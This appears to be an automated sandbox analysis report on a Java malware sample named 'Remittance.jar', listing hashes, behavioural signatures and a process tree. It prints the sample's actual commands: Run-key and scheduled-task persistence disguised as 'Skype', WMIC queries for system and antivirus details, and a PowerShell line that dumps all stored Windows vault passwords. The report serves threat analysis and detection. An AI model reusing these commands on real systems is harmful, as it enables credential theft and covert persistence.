Analysis
-
max time kernel
152s -
max time network
147s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
14/12/2021, 09:03
Static task
static1
Behavioral task
behavioral1
Sample
Remittance.jar
Resource
win7-en-20211208
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
Remittance.jar
Resource
win10-en-20211208
0 signatures
0 seconds
General
-
Target
Remittance.jar
-
Size
95KB
-
MD5
1884f1dd8bc296512bc4cc4fa0d1731f
-
SHA1
7d00c02445094f044a64029a1105bedfe71c7d8d
-
SHA256
7166e6707991af3e05e2a9f04aedf913c83ff5e21301ab595e0b04d0f960eb9f
-
SHA512
cd120e1507c2c9127455c9dd2f53f912508077367757daa685d97e7f5fb890a04a291e5e4697bffc8cfe151f8990adc2594f2883aef63a4180f2d66f1305d079
Score
10/10
Malware Config
Signatures
-
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Remittance.jar java.exe -
Loads dropped DLL 3 IoCs
pid Process 1508 java.exe 1932 java.exe 1932 java.exe -
Accesses Microsoft Outlook profiles 1 TTPs 7 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook java.exe Key opened \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook java.exe -
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Windows\CurrentVersion\Run\Remittance = "\"C:\\Program Files\\Java\\jre7\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\AppData\\Roaming\\Remittance.jar\"" java.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Remittance = "\"C:\\Program Files\\Java\\jre7\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\AppData\\Roaming\\Remittance.jar\"" java.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 12 ip-api.com -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1688 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1284 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1812 WMIC.exe Token: SeSecurityPrivilege 1812 WMIC.exe Token: SeTakeOwnershipPrivilege 1812 WMIC.exe Token: SeLoadDriverPrivilege 1812 WMIC.exe Token: SeSystemProfilePrivilege 1812 WMIC.exe Token: SeSystemtimePrivilege 1812 WMIC.exe Token: SeProfSingleProcessPrivilege 1812 WMIC.exe Token: SeIncBasePriorityPrivilege 1812 WMIC.exe Token: SeCreatePagefilePrivilege 1812 WMIC.exe Token: SeBackupPrivilege 1812 WMIC.exe Token: SeRestorePrivilege 1812 WMIC.exe Token: SeShutdownPrivilege 1812 WMIC.exe Token: SeDebugPrivilege 1812 WMIC.exe Token: SeSystemEnvironmentPrivilege 1812 WMIC.exe Token: SeRemoteShutdownPrivilege 1812 WMIC.exe Token: SeUndockPrivilege 1812 WMIC.exe Token: SeManageVolumePrivilege 1812 WMIC.exe Token: 33 1812 WMIC.exe Token: 34 1812 WMIC.exe Token: 35 1812 WMIC.exe Token: SeIncreaseQuotaPrivilege 1812 WMIC.exe Token: SeSecurityPrivilege 1812 WMIC.exe Token: SeTakeOwnershipPrivilege 1812 WMIC.exe Token: SeLoadDriverPrivilege 1812 WMIC.exe Token: SeSystemProfilePrivilege 1812 WMIC.exe Token: SeSystemtimePrivilege 1812 WMIC.exe Token: SeProfSingleProcessPrivilege 1812 WMIC.exe Token: SeIncBasePriorityPrivilege 1812 WMIC.exe Token: SeCreatePagefilePrivilege 1812 WMIC.exe Token: SeBackupPrivilege 1812 WMIC.exe Token: SeRestorePrivilege 1812 WMIC.exe Token: SeShutdownPrivilege 1812 WMIC.exe Token: SeDebugPrivilege 1812 WMIC.exe Token: SeSystemEnvironmentPrivilege 1812 WMIC.exe Token: SeRemoteShutdownPrivilege 1812 WMIC.exe Token: SeUndockPrivilege 1812 WMIC.exe Token: SeManageVolumePrivilege 1812 WMIC.exe Token: 33 1812 WMIC.exe Token: 34 1812 WMIC.exe Token: 35 1812 WMIC.exe Token: SeIncreaseQuotaPrivilege 656 WMIC.exe Token: SeSecurityPrivilege 656 WMIC.exe Token: SeTakeOwnershipPrivilege 656 WMIC.exe Token: SeLoadDriverPrivilege 656 WMIC.exe Token: SeSystemProfilePrivilege 656 WMIC.exe Token: SeSystemtimePrivilege 656 WMIC.exe Token: SeProfSingleProcessPrivilege 656 WMIC.exe Token: SeIncBasePriorityPrivilege 656 WMIC.exe Token: SeCreatePagefilePrivilege 656 WMIC.exe Token: SeBackupPrivilege 656 WMIC.exe Token: SeRestorePrivilege 656 WMIC.exe Token: SeShutdownPrivilege 656 WMIC.exe Token: SeDebugPrivilege 656 WMIC.exe Token: SeSystemEnvironmentPrivilege 656 WMIC.exe Token: SeRemoteShutdownPrivilege 656 WMIC.exe Token: SeUndockPrivilege 656 WMIC.exe Token: SeManageVolumePrivilege 656 WMIC.exe Token: 33 656 WMIC.exe Token: 34 656 WMIC.exe Token: 35 656 WMIC.exe Token: SeIncreaseQuotaPrivilege 656 WMIC.exe Token: SeSecurityPrivilege 656 WMIC.exe Token: SeTakeOwnershipPrivilege 656 WMIC.exe Token: SeLoadDriverPrivilege 656 WMIC.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 480 wrote to memory of 1508 480 java.exe 28 PID 480 wrote to memory of 1508 480 java.exe 28 PID 480 wrote to memory of 1508 480 java.exe 28 PID 1508 wrote to memory of 1316 1508 java.exe 29 PID 1508 wrote to memory of 1316 1508 java.exe 29 PID 1508 wrote to memory of 1316 1508 java.exe 29 PID 1508 wrote to memory of 1932 1508 java.exe 30 PID 1508 wrote to memory of 1932 1508 java.exe 30 PID 1508 wrote to memory of 1932 1508 java.exe 30 PID 1316 wrote to memory of 1688 1316 cmd.exe 31 PID 1316 wrote to memory of 1688 1316 cmd.exe 31 PID 1316 wrote to memory of 1688 1316 cmd.exe 31 PID 1932 wrote to memory of 1988 1932 java.exe 32 PID 1932 wrote to memory of 1988 1932 java.exe 32 PID 1932 wrote to memory of 1988 1932 java.exe 32 PID 1988 wrote to memory of 1812 1988 cmd.exe 33 PID 1988 wrote to memory of 1812 1988 cmd.exe 33 PID 1988 wrote to memory of 1812 1988 cmd.exe 33 PID 1932 wrote to memory of 1600 1932 java.exe 35 PID 1932 wrote to memory of 1600 1932 java.exe 35 PID 1932 wrote to memory of 1600 1932 java.exe 35 PID 1600 wrote to memory of 656 1600 cmd.exe 36 PID 1600 wrote to memory of 656 1600 cmd.exe 36 PID 1600 wrote to memory of 656 1600 cmd.exe 36 PID 1932 wrote to memory of 1160 1932 java.exe 37 PID 1932 wrote to memory of 1160 1932 java.exe 37 PID 1932 wrote to memory of 1160 1932 java.exe 37 PID 1160 wrote to memory of 572 1160 cmd.exe 38 PID 1160 wrote to memory of 572 1160 cmd.exe 38 PID 1160 wrote to memory of 572 1160 cmd.exe 38 PID 1932 wrote to memory of 1940 1932 java.exe 39 PID 1932 wrote to memory of 1940 1932 java.exe 39 PID 1932 wrote to memory of 1940 1932 java.exe 39 PID 1940 wrote to memory of 1308 1940 cmd.exe 40 PID 1940 wrote to memory of 1308 1940 cmd.exe 40 PID 1940 wrote to memory of 1308 1940 cmd.exe 40 PID 1932 wrote to memory of 1284 1932 java.exe 43 PID 1932 wrote to memory of 1284 1932 java.exe 43 PID 1932 wrote to memory of 1284 1932 java.exe 43 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook java.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook java.exe
Processes
-
C:\Windows\system32\java.exejava -jar C:\Users\Admin\AppData\Local\Temp\Remittance.jar1⤵
- Suspicious use of WriteProcessMemory
PID:480 -
C:\Program Files\Java\jre7\bin\java.exe"C:\Program Files\Java\jre7\bin\java.exe" -jar "C:\Users\Admin\Remittance.jar"2⤵
- Drops startup file
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Windows\system32\cmd.execmd /c schtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\Remittance.jar"3⤵
- Suspicious use of WriteProcessMemory
PID:1316 -
C:\Windows\system32\schtasks.exeschtasks /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\Remittance.jar"4⤵
- Creates scheduled task(s)
PID:1688
-
-
-
C:\Program Files\Java\jre7\bin\java.exe"C:\Program Files\Java\jre7\bin\java.exe" -jar "C:\Users\Admin\AppData\Roaming\Remittance.jar"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:1932 -
C:\Windows\system32\cmd.execmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:. /namespace:'\\root\cimv2' path win32_logicaldisk get volumeserialnumber /format:list5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1812
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:1600 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get caption,OSArchitecture /format:list5⤵
- Suspicious use of AdjustPrivilegeToken
PID:656
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "wmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:1160 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:. /namespace:'\\root\cimv2' path win32_operatingsystem get version /format:list5⤵PID:572
-
-
-
C:\Windows\system32\cmd.execmd.exe /c "wmic /node:localhost /namespace:'\\root\securitycenter' path antivirusproduct get displayname /format:list"4⤵
- Suspicious use of WriteProcessMemory
PID:1940 -
C:\Windows\System32\Wbem\WMIC.exewmic /node:localhost /namespace:'\\root\securitycenter' path antivirusproduct get displayname /format:list5⤵PID:1308
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] $vault = New-Object Windows.Security.Credentials.PasswordVault $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }"4⤵
- Suspicious behavior: EnumeratesProcesses
PID:1284
-
-
-